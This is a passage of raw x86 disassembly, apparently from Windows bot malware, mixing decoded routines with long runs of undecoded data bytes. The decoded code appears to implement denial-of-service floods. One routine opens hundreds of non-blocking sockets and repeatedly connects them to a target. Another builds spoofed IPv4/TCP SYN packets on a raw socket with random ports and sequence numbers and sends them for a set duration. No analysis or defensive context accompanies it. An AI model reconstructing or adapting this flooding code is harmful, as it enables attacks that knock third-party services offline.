		retn
sub_412B09	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B09
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8F
		push	1
		pop	eax


loc_412E8F:				; CODE XREF: ___:00412E8Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_412E9E	dw 8B55h		; DATA XREF: sub_401ACD+6722o
		dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFE44h, 685B016Ah, 0FFh,	0A5F3036Ah, 9889026Ah
		dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
		dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h
		dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh,	8D50D875h
		dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
		dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
		dd 0E8575959h, 22DD987h, 0F44D8D90h, 3351046Ah,	57026AFFh
		dd 0F45D8950h, 0B63415FFh
		db 4Ch,	0
word_412F4E	dw 0F883h		; DATA XREF: ___:off_43A86Co
		dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h
		dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
		dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22DD90Fh, 0FE48858Dh
		dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
		dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh,	8D572075h
		dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
		dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h,	21A7E850h
		dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0A8E89057h,	6A022DD8h
		dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
		dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h,	15FF50FFh
		dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
		dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
		dd 194h, 41C68h, 0C805C600h, 45004CE3h,	0B65415FFh, 7D39004Ch
		dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh
		dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh
		dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
		dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
		dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
		dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h
		dd 0E8004CE3h, 87E2h, 100B999h,	0F9F70000h, 0E3DC1588h
		dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h
		dd 87BCE800h, 0B9990000h, 0F0h,	40068h,	66F9F700h, 0E3DE3D89h
		dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h
		dd 0B9990000h, 0FFh, 6852F9F7h,	4CE3E4h, 842FE8h, 0CC48300h
		dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFE4885h, 875FFFFh
		dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
		dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
		dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
		dd 59FFFF82h, 0E8905759h, 22DD6BFh, 0FFFC75FFh,	4CB6EC15h
		dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h,	14E9C1D0h
		dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
		dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 0E8575959h
		dd 22DD63Bh
		db 90h
byte_413285	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5510o
		dd 10320B8h, 888EE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h,	15FF0000h
		dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h
		dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
		dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
		dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h
		dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
		dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h,	858D14C4h
		dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h,	5959FFFFh
		dd 7CE89057h, 3B022DD5h, 8B0C74C3h, 8B0C40h, 4589008Bh
		dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
		dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h,	7D39C445h
		dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
		dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
		dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h,	4CB70Ch
		dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h
		dd 84BAh, 390CC483h, 2075D85Dh,	0BC858D53h, 0FFFFFFFCh
		dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
		dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
		dd 0FFFF800Bh, 90535959h, 2DD4AEE8h
		db 2
byte_413411	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+575Co
		dd 10310B8h, 8702E800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h,	0E8900000h
		dd 229D40Fh, 8492E850h,	6A590000h, 6A026A11h, 0D415FF02h
		dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h,	83000081h
		dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h
		dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh,	0B6D815FFh
		dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
		dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
		dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
		dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
		dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 0D0E89056h,	8B022DD3h
		dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
		dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
		dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
		dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
		dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h,	838CE81Ah
		dd 0B9990000h, 0FFh, 3B46F9F7h,	9488D475h, 0FEFCEF35h
		dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
		dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
		dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 0D97EE8D8h
		dd 4E900227h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
		dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh
		dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h
		dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
		dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
		dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h,	7DF5E8E0h
		dd 5959FFFFh, 98E89057h
		db 0D2h, 2Dh, 2
byte_413627	db 55h			; DATA XREF: sub_401ACD+4DEDo
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
		dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
		dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
		dd 59FFFF7Dh, 0E8905659h, 22DD1FBh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C6	proc near		; CODE XREF: ___:004137AFp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413784
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413711:				; CODE XREF: sub_4136C6+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413719:				; CODE XREF: sub_4136C6+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373C:				; CODE XREF: sub_4136C6+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413719
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41374A:				; CODE XREF: sub_4136C6+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41374A
		push	64h
		nop
		call	near ptr 2690F24h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376E:				; CODE XREF: sub_4136C6+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376E
		dec	[ebp+arg_4]
		jnz	short loc_413711
		pop	edi
		pop	esi
		pop	ebx


loc_413784:				; CODE XREF: sub_4136C6+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C6	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C6
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BE
		push	1
		pop	eax


loc_4137BE:				; CODE XREF: ___:004137B9j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_4137CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+644Ao
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h,	858D500Ch
		dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h,	0CC483F6h
		dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh,	0FF70858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
		dd 0D055E890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386C	proc near		; CODE XREF: ___:00413B5Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4138AC
		xor	eax, eax
		jmp	loc_413B1A
; ---------------------------------------------------------------------------


loc_4138AC:				; CODE XREF: sub_41386C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B12
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B08
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB654
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB654
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB654
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2790A53h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413997:				; CODE XREF: sub_41386C+25Dj
					; sub_41386C+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2790A53h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B05
		jl	loc_413997
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B05
		jmp	loc_413997
; ---------------------------------------------------------------------------


loc_413ADC:				; CODE XREF: sub_41386C+247j
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43643C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_413B08
; ---------------------------------------------------------------------------


loc_413B05:				; CODE XREF: sub_41386C+25Bj
					; sub_41386C+269j
		mov	ebx, [ebp+arg_8]


loc_413B08:				; CODE XREF: sub_41386C+78j
					; sub_41386C+297j
		push	[ebp+var_C]
		call	dword_4CB6EC
		pop	esi


loc_413B12:				; CODE XREF: sub_41386C+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_413B1A:				; CODE XREF: sub_41386C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386C	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B69
		push	1
		pop	eax


loc_413B69:				; CODE XREF: ___:00413B64j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_413B78	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6E45o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h
		dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h,	0FFFFFFFCh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
		dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
		dd 0FFFF7803h, 90565959h, 2DCCA6E8h, 555E5F02h,	0EC81EC8Bh
		dd 98h,	6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
		dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
		dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
		dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
		dd 0C7000000h, 3AA045h,	5D890000h, 0B04589A4h, 0D47D8DABh
		dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
		dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
		dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h
		dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
		dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
		dd 4CB634h, 200BEh, 0D2E85600h,	8B000077h, 4270A83Dh, 45895900h
		dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
		dd 6885C766h, 2FFFFFFh,	5415FF00h, 66004CB6h, 0FF6A8589h
		dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h,	0F0C453Bh
		dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
		dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
		dd 0AC5589F9h, 7B69E8h,	0A4B99900h, 0C600001Fh,	0F745DC45h
		dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
		dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h,	4CB654h
		dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
		dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
		dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
		dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh,	8514h
		dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
		dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
		dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_413E36	dw 8B55h		; DATA XREF: sub_401ACD+53E9o
		dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh,	890E6AFFh
		dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
		dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
		dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h
		dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h,	79D5E8h
		dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
		dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
		dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
		dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 0C0E89053h, 8D022DC9h
		dd 46ACC4Dh, 53026A51h,	0CC758950h, 0B63415FFh,	0F883004Ch
		dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h
		dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h,	8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
		dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h
		dd 2DC942E8h, 0C4858D02h, 50FFFFFDh, 0B69415FFh, 0F883004Ch
		dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h
		dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2DC8D2E8h, 8D106A02h
		dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
		dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh,	0B69415FFh
		dd 4589004Ch, 85D89C0h,	4589D7FFh, 2BD7FFD0h, 0D233D045h
		dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
		dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
		dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
		dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
		dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
		dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh,	59FFFF6Bh
		dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
		dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
		dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h
		dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h
		dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
		dd 42B28868h, 0EDE85000h, 59000077h, 7459C085h,	0F05D8909h
		dd 2F545C6h, 858D5CEBh,	0FFFFFE44h, 42B0C068h, 0CDE85000h
		dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h,	858D3CEBh
		dd 0FFFFFE44h, 42B0B868h, 0ADE85000h, 59000077h, 7459C085h
